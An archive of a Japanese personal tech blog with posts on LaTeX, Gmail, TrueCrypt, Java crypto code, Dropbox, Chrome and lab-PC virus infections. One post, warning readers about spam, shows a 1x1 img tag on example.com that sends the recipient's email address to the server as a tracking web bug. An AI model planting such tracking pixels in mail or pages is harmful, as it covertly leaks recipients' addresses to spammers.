\AtBeginDvi{\special{landscape}}

dvipdfmx で landscape - ドレッシングのような

あなたが神か!というわけで,LaTeXによる論文作成のガイド(第7版)にはこう書かれているので,是非最初から書いておいて欲しいと切に願うわけです.

このガイドのようにA4 横長のオンライン出版用の製版を行なうオプションは、現在は陽に指定しなければならないが、次回のリリースからはデフォルトとなる予定である。

LaTeXによる論文作成のガイド(第7版) p.1236 脚注2

こうして,世界は平和になったのです.

関連:
security on earth: landscapeなPDFの作成

マルチ受信機能は、Gmailの実験的な機能を提供する「Labs」として公開。指定したラベルや検索結果を一画面に複数表示できる。

Google、Gmailで複数の受信トレイを同時に表示できるラボ機能

オレのFxたんがすごいことになってきた・・・.こういうのをフル装備というのだろうか.

090206_gmail01.png

ちなみに,よく使いそうな検索キーワードはここが参考になりまくります.

CA391584.JPG

明日発売のATOK2009をフラゲした.そんだけ.忙しくて入れる時間はないorz.

200902051844追記:
むしゃくしゃしてインストールした.日本語英語変換とカタカナ語英語変換が強力に快適すぎ.これでLaTeX環境でもスペルミスを激減させられるか!?

そして,発売前だから,ATOKダイレクトのATOK2009用が落とせない・・・.むぎゃー!

Office連携ツールが強力で,マウスオーバーで英単語を辞書引きできる!IE限定っぽいけどorz.

個人情報保護ガイドライン等に関するQ&A(リンク先はpdf)のNo.77にはこのように書かれています.

Q: 個人データが漏えい等したが、本人の権利利益が侵害されておらず、今後も権利利益の侵害の可能性がない又は極めて少ないと考えられるため、「影響を受ける可能性のある本人への連絡」や、「事実関係、再発防止策等の公表」を省略しても差し支えないと考えられる場合の例として挙げられている「高度な暗号化等の秘匿化が施されている場合」とは、どのような場合ですか。

A: 例えば、電子政府推奨暗号リスト又はISO/IEC18033に掲げられている暗号アルゴリズムによって個人データを適切に暗号化し、かつ、復号(平文化)のためのかぎ(鍵)が適切に管理されていると認められる場合など、十分な秘匿性が確保されている場合は、「高度な暗号化等の秘匿化が施されている場合」に該当すると考えられます。(2007.3.30)

復号が平文化だとしたら,その反対に位置するのは,暗号文化だと思うんだ.閑話休題.つまり,こういうことだ.

つまり“十分な秘匿性が確保されている状態”とは,

■電子政府推奨暗号リスト又はISO/IEC18033に掲げられている暗号アルゴリズムによって個人データを適切に暗号化してある
■復号(平文化)のための鍵が適切に管理されている

という条件を満たしている場合です。

ノートPC紛失! それでも「謝罪不要」なセキュリティ・レベルを考える:ITpro

だから,電子政府推奨暗号リスト(リンク先はpdf)かつISO/IEC 18033に掲げられている暗号アルゴリズムAESによる暗号化だよ.

TrueCryptはシステムドライブやパーティションなどの暗号化ボリュームを扱えるオープンソースである.早速使ってみているが,至って簡単である.楽勝です.暗号化のパスワードがポイントになりますが,パスワード以外に,キーファイルを複数指定することができるので,それを利用すると安全性が上がりそうです.USBメモリに入れて持ち歩けばいいのかな?ssh鍵を使うとかね(げふんげふん.

今現在は4GBの暗号化ボリュームを作って,そこに秘匿すべき情報を入れています.拡張子は.tcを付けるとあからさまなので,ファイルサイズを鑑みて,.isoがいいかなと思っています.システム全体の暗号化やパーティションの暗号化もできるし,囮OSやら隠しOSやらすごいこともできるようですが,そこまで気にしなくても良いかと思っています.いや,ニューマシン導入時に思い切ってやってしまう可能性もあるけど.

ちなみに,暗号化ボリュームは起動時に自動マウントして,ログオフ時に自動アンマウントできます.できますが,それじゃぁセキュリティ上は改善されていないので,ログオフ時の自動アンマウントは採用して,マウントは手動でやることに.オレッチはコマンドランチャを利用しているので,こんなコマンドラインでマウントを実現しています.

TrueCrypt.exe /v SKI2009.iso /lk /q /e

ログオフ時の自動アンマウントはログオフスクリプトを利用しています.ファイル名を指定して実行から,gpedit.mscです.後はSSのように設定してok.

090101_tc01.png

簡単だねっ!

関連:
窓の杜 - 【NEWS】システムドライブの暗号化で情報漏洩を防げる「TrueCrypt」v5.0
日本人なら知っておくべき復号化のこと - 4403 is written

1年総決算エントリを書き始める時期になりました.今年はいろんな言語を扱いました.

  • C
  • Java
  • JavaScript
  • LaTeX
  • NQC
  • Perl
  • PHP
  • Prolog
  • XHTML + CSS

この中で苦もなく書けるのは,やはりC言語.難しいことをしなければ,リファレンスを読まなくても書けます(ぇ,それ普通?).入門してすぐに挫折したのは,Objective-C.オブジェクト指向が苦手なオレとしては,ありゃダメだ.今年はVBを書かなかったけど,年明けになると書かざるを得ない状況になるのかなぁ・・・.予め想定で書いておけばいいのかな?実家にはVB環境がないな(ぁ.

それから,(X)HTMLやらCSSやらは,相変わらずvalidな記述を心がけてます.W3Cの甘さに喜び,Another HTML-Lintの厳しさに半ベソです.マイブームはXHTML 1.0 Strictです.「まだ1.1じゃないのか」というツッコミは躱します.そうこうしている間に,XHTML 2.0やらHTML 5.0が出てくるでしょう(いつの話だ).

それから忘れてはならない言語は英語と日本語.相変わらず英語のスキルは向上していない.言ってることはだいたい理解できるのだが,喋ろうと思っても言葉が出てこないのはどうにかならないのだろうか.シナプスが一方通行になっているのだろうか?なお,日本語のスキルは社会人仕様になっているはずなので,少しは向上していると信じたい.

研究室でスパムメールの話題になって「えっ!?」って話になったので,折角だから広く世に知らしめておく.スパムメールはうっかり開くだけでも,危険(有効なメアドが収集される的な意味で)ですからー!残念っ!

例えば,こんなメール.

081217_gmail01.png

日経ビジネスオンラインのメールですが,別に悪意があるわけではありません.たまたま参考例に良かったから出してみただけです.他意はない.ボクが使っているメールクライアントはGmailなんですが,画像が入っているメールは画像非表示で表示されます.これは何故か.

  1. 低速モバイル環境で従量制課金かもしれないから
  2. エロ画像が表示されて社内コンプライアンス的にヤバメだとヤバイから
  3. その他

こんな理由が挙げられるかと思いますが,どれも理にかなっていると思いますが,なんとなく3かなって.それは何故か.何故なのか.上の図にある「次の画像を表示」をクリックすると,画像が表示されるようになります.

081217_gmail02.png

こんな感じになります.ほうほう.画像によるリンクですね.別に,テキストアンカーでもいいと思うんですが・・・.それはそれとして,じゃぁ,これはどうやって表示されているの?メールに画像ファイルが添付されてくるの?ノンノンノン.ヘッダ情報を見てみましょう.関係ありそうな場所を抜粋.

081217_gmail03.png

普通にサーバからhttpで画像を読み込んでます.つまり,さっきの「次の画像を表示」ってのはそういう意味なんです.「外部とアクセスして画像ファイル(だと思われるもの)を取得するけど良い系?」って尋ねられているんです.えぇ.これはまずいですね.まずいですよね.いや,日経ビジネスオンラインがまずいわけではなく,これは悪用できますよねって話.

例えば,imgタグが次のように書かれていたら,どうなるだろうか?

<img src="http://example.com/?hoge@example.net" height="1" width="1" />

ほら!まずいでしょ?このメールはhoge@example.net宛に送られてきたとすれば,URLパラメータとして,hoge@example.netが送信されてしまうよ.「ぇ?だってこれ,画像ファイルじゃないじゃん!スクリプトじゃん!」って思った人は賢い.賢くてやられる.PHP+GDでimgタグのsrcにPHPを指定して画像を得る方法があるんです.クール!

ということは, 上の例ではWebバグっぽく1ドットの例を挙げましたが,実際は何だってよくって,「ご当選おめでとうございます」だっていいんですよ.要は,送りつけたメールに書かれているコードを使って,サーバにアクセスさせられさえすればok.あ.ちなみに「Webバグ」って,不良品やら欠陥を示すbugではなく,虫って意味の方のbugです.別に,ブラウザやメールクライアントの脆弱性じゃないです.あしからず.

でもでも,こういう説明をしちゃうと「Webバグって悪いやつだ!」って思われるかもしれませんが,いわゆるアクセス解析にも使われますし,閲覧者数を確認するのにも使われます.

081217_nikkeibp01.png

つまり,こういう使われ方ですね.わかります.これは日経ビジネスオンラインの例です(ぁれ?.

ちなみに,開封確認を使う方法もあるので,こっちも注意.まさか,常に送信なんてことはないですよねぇ・・・.

というわけで,これらの方法によって,無差別にメールを送りつけて,その中から有効なメールアドレスを収集することができます.そんな理由もあるので,ボクはHTMLメールは好きじゃないです.必要があれば,それはそれで別に仕方がないと思いますが,全く持ってプレーンテキストでも良さそうなのに,HTMLメールだと萎えます.OEにありがちなので,何とかして下さいorz.

まとめ:
迷惑メールは閲覧するだけでも危険(有効なメアドが収集される的な意味で)な場合があることを理解しておく.その上で,迷惑メールを閲覧して,ニヤニヤしつつ,楽しむ.enjoy!

まだ実用的なレベルには達していないが、非常に気になるのでご紹介。

(中略)

今回紹介するオープンソース・ソフトウェアはTortoiseGit、まさにTortoiseSVNのGit版というべきソフトウェアだ。

MOONGIFT: » Git on Windowsのキラーアプリケーション「TortoiseGit」:オープンソースを毎日紹介

ついにTortoiseSVNのGit版と言えるTortoiseGitが公開されたようだ.まだ,バージョン0.1ということで,実験的らしいが,出てきたことだけで嬉しい.正式版を奮えて待つ!

今日のオレは,昨日のオレより,僅かばかり賢い.正に,1日遅かった.昨日のオレに捧ぐ.正規表現を可視化するサービスがあるようだ.

081204_strfriend.png

strfriend

今日になって,正規表現の可視化の話がポンポン出てくる辺り,みんなボクに優しいですね(自意識過剰).

関連:
正規表現を視覚化してくれる『strfriend』 | CREAMU
ブラウザで正規表現のチェックなどができるサイトまとめ | IDEA*IDEA
PHPでメール送信フォームを作るのに役だった情報群 - 4403 is written

PHPでコードを書いたのは久しぶりだ.久しぶり過ぎて,いつ以来だろう.タグクラウドはperlだったから・・・.あぁDAI-HIPsを実装した時だから,07年夏かな.たまに書くと熱が入って良いね.これから卒研は佳境に入るから,CかJava一辺倒になるんだろうなぁ.また思い出した頃に,いつもと違う言語でコードを書いてリフレッシュしたいなっと.

というわけで,今回は所用でメール送信フォームを作りました.たぶん,真面目に探せば,その辺にフリーのコードが落ちているんだろうけど,機能が多すぎたり,逆に足りなかったり,カスタマイズが難しかったりで,要求に即したものがぱっと見で見当たらなかったので,フルスクラッチしてみた.いや,全然フルじゃないけど.フルスクラッチって言ってみたかっただけです.さーせん.以下,参考にした情報をぺたぺた.

苦労したのは,主に正規表現.つまりは,validator.jsです.これ,大変に良くできていて,便利です.便利だから,拡張してルールを追加しようとしたんだが,如何せん正規表現苦手っ子なので,単純な正規表現を作るのに四苦八苦.そんなんで自然言語処理とか,片腹痛すぎるわ.ちなみに,このvalidator.jsはコメント21で指摘されているように,長音記号をチェックできません.そういう時には文字コード表ですよね.わかります.

Gmail使いは既に気がついていると思うが,なんだかGmailがすごくなったぞ!テーマ選択で,見た目が色々変わる!オススメはターミナルです!

関連:
Gmailのデザイン テーマが変更可能に、デザイナーによるものも - WEBマーケティング ブログ

Beamer使いになったボクには関係が薄くなった話ですが,そんな話もあるんですね.さすがはグーグル先生.

参考:
Quanterm Optex : TeXPoint

先日,企業研究所の方を研究室にお招きして,豪勢な楕円暗号曲線の勉強会を開きました.その際に,プレゼンはTeXで作ったという話で,使っているツールがBeamerということを伺いました.そういえば,先輩助教もスライドをTeXで作っているっていっていたなぁ・・・.Beamerって言っていたような気がするなぁ・・・.そういえば,186さんも導入してたなぁ・・・.TeXでスライドっていうと,SliTeXという化石化した知識しか持ち合わせていたので,TeXnicianとしては追従しなくては!というわけで,導入してみた.

導入は至って簡単で,BeamerのSourceForgeからlatex-beamerとpgfとxcolorをダウンロードする.そんでもって,その3つを解凍して,$TEXMFLOCAL\tex\latexに配置する.終わり.じゃない.実はsize14.cloとかsize17.cloが必要になるので,CTANから拾ってくる.size14.cloとsize17.cloとsize20.cloとsize8.cloとsize9.cloを$TEXMFLOCAL\tex\latex\baseに置けばいいと思うよ.これで終わり.186さんは最後にmktexlsrって書いてますが,ボクはしない方がいいと思うんだな.面倒だし

使い方は関連に挙げたサイトを参考にして頂くということで. 一応,今現在の設定を晒しておくと,こんなのがオレおきに.

\documentclass[14pt,dvipdfm]{beamer}
\usepackage{atbegshi}
\AtBeginShipoutFirst{\special{pdf:tounicode 90ms-RKSJ-UCS2}}
\usepackage{graphicx}
\usepackage{hyperref}
\usetheme{CambridgeUS}
\usecolortheme{default}
\usefonttheme{professionalfonts}
\useinnertheme{circles}
\useoutertheme{miniframes}
\usepackage{txfonts}
\renewcommand{\kanjifamilydefault}{\gtdefault}
\renewcommand{\familydefault}{\sfdefault}
\setbeamerfont{title}{size=\large,series=\bfseries}
\setbeamerfont{frametitle}{size=\large,series=\bfseries}
\setbeamertemplate{frametitle}[default][center]
\setbeamertemplate{navigation symbols}{}

そんで,気が付いた.総研大の発表テンプレが欲しい!と書いたのだが,どうもBeamerのテンプレートのようだ.もしかするとNICT情報セキュリティシンポジウムで見たProf. BellovinのプレゼンもBeamerだったのかもしれない.思い返せば,Beamerでプレゼンしている人をかなり見かけていたようだ.無知って怖い><.

関連:
latex-beamer導入のメモ - 186::Diary
LaTeXでプレゼンテーション・シリーズ:まとめ - 外圏Wiki
Beamer を使ってみる
LaTeX-Beamerのススメ
2007-11-29 - silly little words
LaTeXで論文 & スライド作成 on Mac OS X

以前に,XP SP3でHD Audioが認識されない問題については報告しており,解決策らしきものも報告しておいた.そんな父のPCはなんらかのトラブルによって,OSが予後不良になったので,誕生日割引で復旧作業(っていうか入れ直し)を行ったので,備忘録.

今回はトラブルの解決方法がわかっているので,敢えてSP3統合のディスクを作って挑戦してみた.結果としては,もちろんHD Audioは認識されなかった.

で.やったこと.ASUSのドライバを拝借して,driver\MSHDQFE\Win2K_XP\usにあるkb888111xpsp2.exeを解凍ソフトでアグレッシブに解凍.デバイスマネージャで「?」になっているデバイスでそれっぽそうなやつ(PCIデバイスとかだったかな?)からドライバの更新で,kb888111xpsp2\commonfilesあたりを指定したやると,ぼきゃぼきゃどーんって感じで,次々と不明なデバイスが認識されまくるので,めでたく付属のHD Audioドライバを入れればok.簡単だねっ!いや,簡単っていうか,初心者には難しすぎる.hotfixがでてこない理由がよくわからない.なんなんだろう.

それはそれとして,Microsoft Updateをする際にsvchost.exeがCPUを喰いまくる症状が発生.SP3統合でも直らないのか・・・.WUA3.0を入れないとダメか.面倒だ.というわけで,対処方法であるKB927891+WUA3.0を試みた.KB927891はSP3には不要だったらしく,入れられなかった.仕方がないので,WUA3.0だけインストール.無事,問題は解決したのでした.WUA3.0で問題が解決するなら,重要な更新に出してくれればいいのに!

まとめ:
解決策がわかっているトラブルをSPに含めるでもなく,WUの重要な更新にするでもなく,いつまでも放置しているMSの姿勢が理解できません.KBにだしたって,素人はわからんぜよ?

関連:
WinXPのSP3統合でトラブルに遭遇 - 4403 is written
ヘタレ系DのBlog(終了しました): svchost.exeがCPUを100%食べ尽くす件

Javaっていうか,型に厳しい言語は面倒くさい(ぇぇ!).今日は論文を書きながら,実証コードを書いてみました.言語は何でも良かったんだけど,なるべく標準機能だけでできて,コードに苦労せずさらっと書けて欲しかったので,なんとなくJavaならいけるかなと思って,Javaを使ってみた.結論からいえば,PHPでやるべきだった.面倒くさかった.

今日学んだこと!

・byte[]をprintlnで表示するには
.toString()じゃ上手くいかない.独自にメソッドを書かないといけないらしい.なんたる面倒くささ.こんなやり方もあるっぽい.

・HMAC的な計算は
javax.cryptoにMacってクラスがあるっぽ.こんなコードで遊べるっぽ.

import java.security.*;
import javax.crypto.*;

public class hmacsha2 {
public static void main(String[] args) throws Exception {
KeyGenerator kg = KeyGenerator.getInstance("HmacSHA256");
SecretKey sk = kg.generateKey();

Mac mac = Mac.getInstance("HmacSHA256");
mac.init(sk);
byte[] result = mac.doFinal("hoge".getBytes());
}
}

へー.

・BASE64エン/デコができない
えー.って感じ.不便すぎる.(参考:javaにおけるbase64の性能テスト - トラシスラボ 技術ブログ

・色々調べていたら
OAEPとかパディングとか標準で積んでるみたい.使ったことなかった.最早,BigIntegerでRSAを書いてる場合じゃない?CryptixとかGUN Cryptoとか,強力な暗号ライブラリがあるっぽい.まだ使ってないけど.

あと,暗号強度の制限があるらしい.

デフォルトの Sun JDK 環境で使用できる暗号化アルゴリズムは 輸入管理制限 によってキー長に制限が設けられています。

(中略)ほとんどのアルゴリズムに 128bit の制限がかけられています。

暗号強度の制限解除

なるほど.とりあえず,解除してみた.

200810221046追記:
Java5から,System.out.printfなるメソッドが追加されていて,C言語ライクな出力ができる模様.

for(int i=0;i<result.length;i++)
System.out.printf("%02x",result[i]);

関連:
J2SE 5.0の新機能 ――第4回 Javaのprintf - ITアーキテクト [IT Architect]
[Java 5]C言語からの移植に便利なprintfの注意点 - @IT

初音ミクが歩いているらしいので,羨ましく思います.というか,こういうネタこそナイトセッション向けですよね.というわけで,来年に向けて準備してみる.いや,直近では研究室説明会か?コンパイルガイドは以下のページを参考にしまくり.

マーカレスAR(PTAM)のソースコードを動かしてみた(WindowsXP VisualC++) | happymeme

コンパイル環境はWindowsXP Pro SP3にVisual Studio 2005 Proです.DirectX SDKは・・・なんだかMicrosoft SDKs v6.1って書いてあります.よくわからない.

以下,躓いた点.

CVSが繋がらない
お約束です.cvsもsvnも繋がらないとは!過剰なFWですねっ!CiNiiも繋がらないし,不便だわん!仕方がないので,sshで外部サーバに接続してゲットしてきました.なんだかなぁ・・・.

dxtrans.hがない
お約束っぽいです.

どうも怪しいと思ってたんだ。DirectX SDK November 2007にはdxtrans.hが入っていません。

ので、qedit.hをインクルードしているファイルをデバッグ(コンパイル)するとエラーが出ます。

DirectX SDK November 2007にdxtrans.hが入っていない件について - DenpaFreak

対策通りに修正します.バージョンが違うので修正箇所も違うようです.オレの環境ではそれぞれ,498,837,1151,1345,1735行目でした.トラブったら情報はどんどん公開しよう!

IEEE1394カメラからWebカメラへの変更
工学ナビの中の人のソースを利用.

3. PTAMにもともと同梱されている VideoSource_Win32_CMU1394.cc の代わりに
   このフォルダに同梱されている VideoSource_Win32_EWCLIB.cc を使う.

同梱のreadme.txtより

さらっと書かれていて,見事にわからなかった.その後のリビルドでエラーをみて理解した.CMU1394の変更はCameraCalibrator.vcprojの208行目を書き換えることで解決.

関連:
Parallel Tracking and Mapping for Small AR Workspaces
YouTube - Parallel Tracking and Mapping for Small AR Worspaces - extra
『攻殻機動隊』『電脳メガネ』どころではない拡張現実感技術の現在 | 王様の箱庭
Cagylogic: PTAM

Microsoft ICEと呼ばれるソフトウェアがある.いわゆるパノラマ写真を作れるソフトウェアだ.MacだとQuicktime VRというのがあるらしい.なんとなく有料っぽい印象(調べないで決めつけてみる).その点,Microsoft ICEは無料だ.気に入らなかったら使わなければ良いだけ.

で.試してみたかったのだが,パノラマ化することを意識して写真を撮らないので,1ヶ所1枚が基本.沖縄ではパノラマ化を念頭に入れて,写真を撮ってきたので,試してみた.

CA391301_stitch.jpg

うはwこれw.これはなかなか手軽にできるぞ.面白い!それではもういっちょ.

CA391340_stitch.jpg

これもなかなかいい!調子に乗って,もう1枚.

CA391352_stitch.jpg

うんうん.これも綺麗に繋がった.面白すぎる.みんなもじゃんじゃん繋げてみよう!

関連:
複数画像をドロップするだけで簡単にパノラマ画像が作れる「Microsoft Image Composite Editor (ICE)」 - TERRAZINE
窓の杜 - 【NEWS】写真をパノラマ化して立体的に閲覧「Microsoft Image Composite Editor」

1006   学名ナナシ  :2008年09月30日 23:45  #
Excel2003以前:
Alt+E → S → END → Enter

Excel2007:
Ctrl+Shift+V → END → Enter


慣れれば簡単。

EXCELの「形式を選択して貼り付け」→「テキスト」という作業をショートカットで出来ないの?:アルファルファモザイク

知らなかった・・・.オレの環境はOffice2007にオールドスタイルメニューアドインを使っているのだが,その所為かどうかわからないが,何故か,Ct+Sh+V→END→Enterは上手くいかなくて,Alt+E→S→END→Enterは上手くいきました.さらに,Alt+E→S→V→Enterも上手くいきません.よくわかりません.

コンピュータウィルスのおはなし.よくある勘違いというか迷信というか,「ネットに繋がないからウィルス対策はしなくても大丈夫」というものがある.今日はそれをこの弱小ブログを通じて,正したいと思う.

ネットワークに接続しないスタンドアロンな使い方のPCも多くあると思う.だがしかし,そのスタンドアロン型PCであっても,アンチウィルスソフトは入れておくべきだし,定期的に定義ファイルを更新しておくべきだ.ウィルスはネットワークからのみ来るわけではない.外部からの侵入経路さえあればよいわけであって,それがネットワークなのか,USBメモリなのか,CDROMなのかは全く問題ではない.ネットワークに繋がなければ安心という迷信は,今すぐに忘れさられるべきである.

なんでこんな話を持ち出したかというと,学科の実験用PCの大半がウィルスに浸食されていたらしい事実を確認したからだ.確かに,学生とのやりとりで「学校のPCはウィルスに感染しまくりなんですよ」という話を聞いたことはある.本当なのかどうかを試すべく,一部のPCに対して,ClamWin Portableを利用して確認してみた.もちろん,そのPCにはマカフィが入っていたのだが,ネットに接続できる環境ではないので,当然ながら役立たずだろうと最初から決め込んでいた.運が悪いことに,私がチェックしたPCは感染していなかったようだ.そこで追求を怠ってしまった.

そんな夏休みの間に,メンテナンスを実施した(恐らく相当前から計画はあった模様)らしく,大半のPCがウィルスに浸食されている事実が露呈した.感染経路は間違いなくUSBメモリ.実験用PCはネットワークに接続されてはいないが,実験データを持ち帰る必要があるので,USBメモリでデータを取り出すことになっている.そのUSBメモリからウィルスが侵入したことは明らかであろう.

推定される状況は以下のような感じだろうか.アンチウィルスソフトとしてマカフィが導入されているが,ネットに接続されていないため,定義ファイルが更新されず,事実上,役立たずのお飾り状態であった.そこに,ウィルス持ちのUSBメモリが差し込まれ,オートランでウィルスが実行され,複製感染したものと推測される.この際,マカフィは定義ファイルが古すぎて,何の役にも立たなかったことが容易に想像される.以降,そのウィルス持ちのUSBメモリは他の実験PCに差し込まれ,感染を広げると共に,感染したPCに差し込まれたUSBメモリはさらなる媒介役として活躍を果たしたものであると思われる.その結果,実験PCの大半がウィルスに浸食されてしまった.

私がウィルス駆除を担当したのではないので,細かい状況はよくわからないが,アンチウィルスソフトの動作を阻害する機能を持っているらしく,新しい定義ファイルを入れられなかったそうだ.そのため,駆除不能により,再インストールが行われたらしい(未了).恐ろしや・・・.

今回の出来事から得られる教訓は以下の通りだろうか.

  • スタンドアロンだからウィルス対策をしなくて良いは迷信
  • アンチウィルスソフトを導入するだけでは不十分で,定期的に定義ファイルの更新が必要
  • USBメモリ等のオートランは危険

アンチウィルスソフトはあなたのためだけに導入するものではなく,世界中の全ての人に迷惑をかけないようにするためにも導入するべきものです.アンチウィルスソフトはほとんどにおいて活躍しないとは思いますが,万が一に備えて導入しておいてください.フリーソフトでも色々とありますから.是非.

オンラインストレージサービスの「Dropbox」が9月12日、ベータテスト期間を終えて一般公開を開始した。容量2GBの無料サービスと、月額 9.99ドルまたは年額99.99ドルで50GBが利用できる有料サービスがある。有料サービスは来週開始する。Windows Vista/XP、Mac OS X、Linux向けのクライアントソフトウェアを使ってストレージが利用できるほか、PC向け、iPhone向けのWebインターフェイスでストレージ上 のファイルにアクセスできる。

話題のオンラインストレージ 「Dropbox」正式版が公開 - @IT

Subversionを使っているけど,試しに併用してみた.

080913_dropbox_01.PNG

こんな感じです.#dropboxフォルダがDropboxで同期しているフォルダ.#reposフォルダはSubversionなフォルダ.アイコンが似てるぜ.ちなみに,マイドキュメントの中にMy DropboxフォルダができるSSばかりだけど,ちゃんと好きな位置に作ることもできます.マイドキュメントの中なんて,初心者だけだよねー.

初期状態では,PublicやらPhotosってフォルダがありますが,迂闊に消しました.この2つのフォルダは特殊なフォルダなので,消さない方がよさげ.Publicフォルダは公開可能なURLが取得できるフォルダで,Photosフォルダはギャラリービューができます.

iPhone用に専用のインタフェイスが準備されていますが,気になります.

080913_dropbox_02.PNG

httpsでログインしても,httpに飛ばされます.ログイン後にロケーションバーからhttpsに書き換えないと,httpsになりません.ちょっと怖い.

Webインターフェイスも用意されており、DropboxソフトをインストールしていないPCではWebブラウザを通じてDropboxにアクセスできる。データ転送には、AES-256による暗号化が用いられる。

オンラインストレージ「Dropbox」公開、Windows/Mac/Linux間でデータ同期 | ネット | マイコミジャーナル

AESって書いてありますが,これは専用クライアントの話ですよね?細かく調査するツールがインストールされてないので,調べられません.面倒くさい.

・良いところ
すんげー簡単.普通のフォルダと同じように扱えるので,特に何も気にしなくても良い.プロキシも自動設定で動きました.楽ちん.しかも,2GBまでは無料.素晴らしい.それから,研究室サーバでは頻繁に発生する停電を考えなくて良い.夏休みでも安心だねっ!iPod touch/iPhoneから閲覧できて便利.pdfもpptもバリバリだぜ.

・良くないところ
ブラウザでフォルダの中身をいじくった場合,PCの専用クライアントがその更新を認識してくれません.専用クライアントを再起動すると,認識しましたが.オレだけ?Subversionみたいにアグレッシブにチェックさせたいです.

関連:
Dropbox - Home - Secure backup, sync and sharing made easy.
まるで自分のハードディスクのように使える2GBまでのストレージサービス『Dropbox』 | Macの手書き説明書
ファイルの同期・共有・バックアップに使えるオンラインストレージ「Dropbox」 - できるネット+ 編集部ブログ

新しい実験手順書を作っているのだ.もちろん,TeXで書いているよ.Word?なにそれ?単語?完成したので,pdfに変換した見た.せっかくなので,しおりも付けてみたのだが,如何せん上手く行かない.書いたコードは以下のようなもの.お馴染みのコードです.

\AtBeginDvi{\special{pdf:tounicode 90ms-RKSJ-UCS2}}
\usepackage[
dvipdfm,
pdfstartview={FitH -32768},
bookmarks=true,
bookmarksnumbered=true,
bookmarkstype=toc,
colorlinks=false,
linkbordercolor={0 1 1},
citebordercolor={0 1 0},
urlbordercolor={0 0 1},
pdftitle={LEGOマインドストーム利用によるロボット製作},
pdfsubject={},
pdfauthor={},
pdfkeywords={}
]{hyperref}

これをplatexしてdviからdvipdfmxしたものが,以下.

080911_hyperref01.png

しおりはちゃんとしてるけど,タイトルが化けらった!というわけで検索して見た.

>>51065

おそらく,hyperref.sty の仕様変更の影響です.
# 私も,今年になってTeX環境を更新したら,はまったので…

\AtBeginDvi{\special{pdf:tounicode 90ms-RKSJ-UCS2}}

の代わりに,

\usepackage{atbegshi}
\AtBeginShipoutFirst{\special{pdf:tounicode 90ms-RKSJ-UCS2}}

を指定してみてください.

(参考: http://d.hatena.ne.jp/kabityu/20071123)

[qa:51075] Re: PDFを作成する際、pdftitleなどが文字化けする(しおりはOK)

なるほどなるほど.こうですね?

\usepackage{atbegshi}
\AtBeginShipoutFirst{\special{pdf:tounicode 90ms-RKSJ-UCS2}}
\usepackage[
dvipdfm,
pdfstartview={FitH -32768},
bookmarks=true,
bookmarksnumbered=true,
bookmarkstype=toc,
colorlinks=false,
linkbordercolor={0 1 1},
citebordercolor={0 1 0},
urlbordercolor={0 0 1},
pdftitle={LEGOマインドストーム利用によるロボット製作},
pdfsubject={},
pdfauthor={},
pdfkeywords={}
]{hyperref}

これをplatexしてdviをdvipdfmxすると・・・.

080911_hyperref02.png

awesome!

ドキュメントを持ち歩いてビューワーとして利用するのは、Air Sharing というアプリを iPod touch / iPhone に入れておくことで利用できます。

(中略)

このアプリは通常は $6.99 とかで売るようですが、最初の2週間は無料でダウンロードできるようなので、興味のある人は今のうちにダウンロードしておくといいでしょう。

Going My Way: ワードやエクセル、PDF などのオフィスファイルを iPod touch / iPhone で持ち歩ける Air Sharing

テラ便利.とりあえず,入れておけばいいと思うよ.マジで.ボクはtouchユーザなので,地図を入れておくと,大変に便利です(ぇ.後は時刻表も便利そうです(ぇ.

猫も杓子もChrome黒目の大合唱.そんなGoogleのChromeですが,ポータブル版はないのかという話がFIT2008の食堂でも繰り広げられていました.いや,オレの周辺だけですが.学食が安くて美味しかったです.edyで支払えるので,マイルが貯まってウハウハですね.羨ましいな.SFC.

閑話休題.Portable Chromeなるものがあるようです.USBに入れて持ち歩けば,君もGEEKだ!以上です.

Google Chromeがダウンロードできるようになったらしいので,即行で入れてみた.

080903_chrome_01.png

プラグインとかが何も入ってないからかもしれないが,起動は爆速.Flashも普通に表示されている.というか,フォクすけがいつの間にやら37%に落ち込んでいる不思議.確か63%くらいあったと思うのだが・・・.しょんぼりだ.

で,Chromeの主な特徴は以下の通り.

  • 描画にはWebKitを採用
  • JavaScriptにはV8という新しいVMを使う(詳細不明、速いらしい)
  • タブごとにプロセスが別(全タブ同時クラッシュがない)

Google Chrome 斜め読み - IT戦記

ってことなので,Ajaxの代表的な存在であるGmailを試してみた・・・.バカっぱやw.すてきです.それだけだけど.

関連:
Google Chromeを手に入れてみた - kakku blog

200809032155追記:
EV SSLは特段の変化が無いことを追記しておく.

200809032259追記:

080903_chrome_02.png

Windows Live Hotmailへのログインの状況.MSはGoogleが嫌いみたい.Chromeよりも過去に公開されたソフトウェアを利用することをアップグレードと呼ぶらしい.MSはこういう態度が良くないよね.自分が知らないものは完全に見下している.新型のチョッパヤJS搭載だから,鈍足Hotmailで試してやろうと思ったのに!もうやらねーよ!うわーん!

完全にメモ.誰かの役に立っても,それは仕方がない.

youtube activation fixはチェックオフ.partition resizerを使うと1604とか6とかのエラーが出る(オレだけ?).iphone用オプション?itunesは7.7.1.11でできました.dfuモードは電源オフ,usbで接続後に,電源ボタン+ホーム10秒押し,電源ボタンだけ離してホームは押しっぱのままさらに10秒でdfuモード.itunesが勝手に認識します.復元を要求されたら,shiftを押してファイルを選ぶ.完成後はopensshをcydiaから入れて,取り急ぎapplicationsをvarに移動させる例のやつを実行.あとは自由に.

雑感.全体的にもっさりしている気がする.特に,裏でsshが動いている時とか,bossprefとか.新しい入力UIよりも,携帯打ちの方がいい.慣れか.

昨日書いた通りなんだが,愛用のプラグインであるTaggingHelperが動作しなくなって困っている件.今の状態はこんな感じ.

080816_th01.png

最新のMT4.2暫定版を使って,この状態です><.これだと,あまりにもブログ更新に影響が出すぎるので,自力で対応してみた.久しぶりにFirebugを使ってみたぜ.至って簡単に原因が特定できたよ!

080816_th03.png

こうしてください.これだけでokです.他に影響があったり,正しい修正方法じゃないかもしれないですけど,とりあえず,これで.っていうか,このトラブルって,オレだけなのかなぁ・・・.テンプレートをリフレッシュしてないのがいけない??よくわかりません><.

080816_th02.png

復活♪

200808170112追記:
テンプレートの不具合があったので,MT4.2を入れ直したところ,最新のMT4.2暫定版がそのまま使えました.お騒がせしましたm(__)m.よって,上に書いてある対策は無視する方向でお願いします.

すごい便利なことで有名なCtrl+F押したらFindbarが出るけどもう一回押したら消える.uc.xulなんだが,Firefox3.0.1になってから,どうにも機能しているように思えない.というか,検索できないオレ,ワロス.ちょっと調べてみた.

738 :名無しさん@お腹いっぱい。:2008/07/19(土) 15:35:11 ID:rqk2+f7L0
Ctrl+F押したらFindbarが出るけどもう一回押したら消える.uc.xul
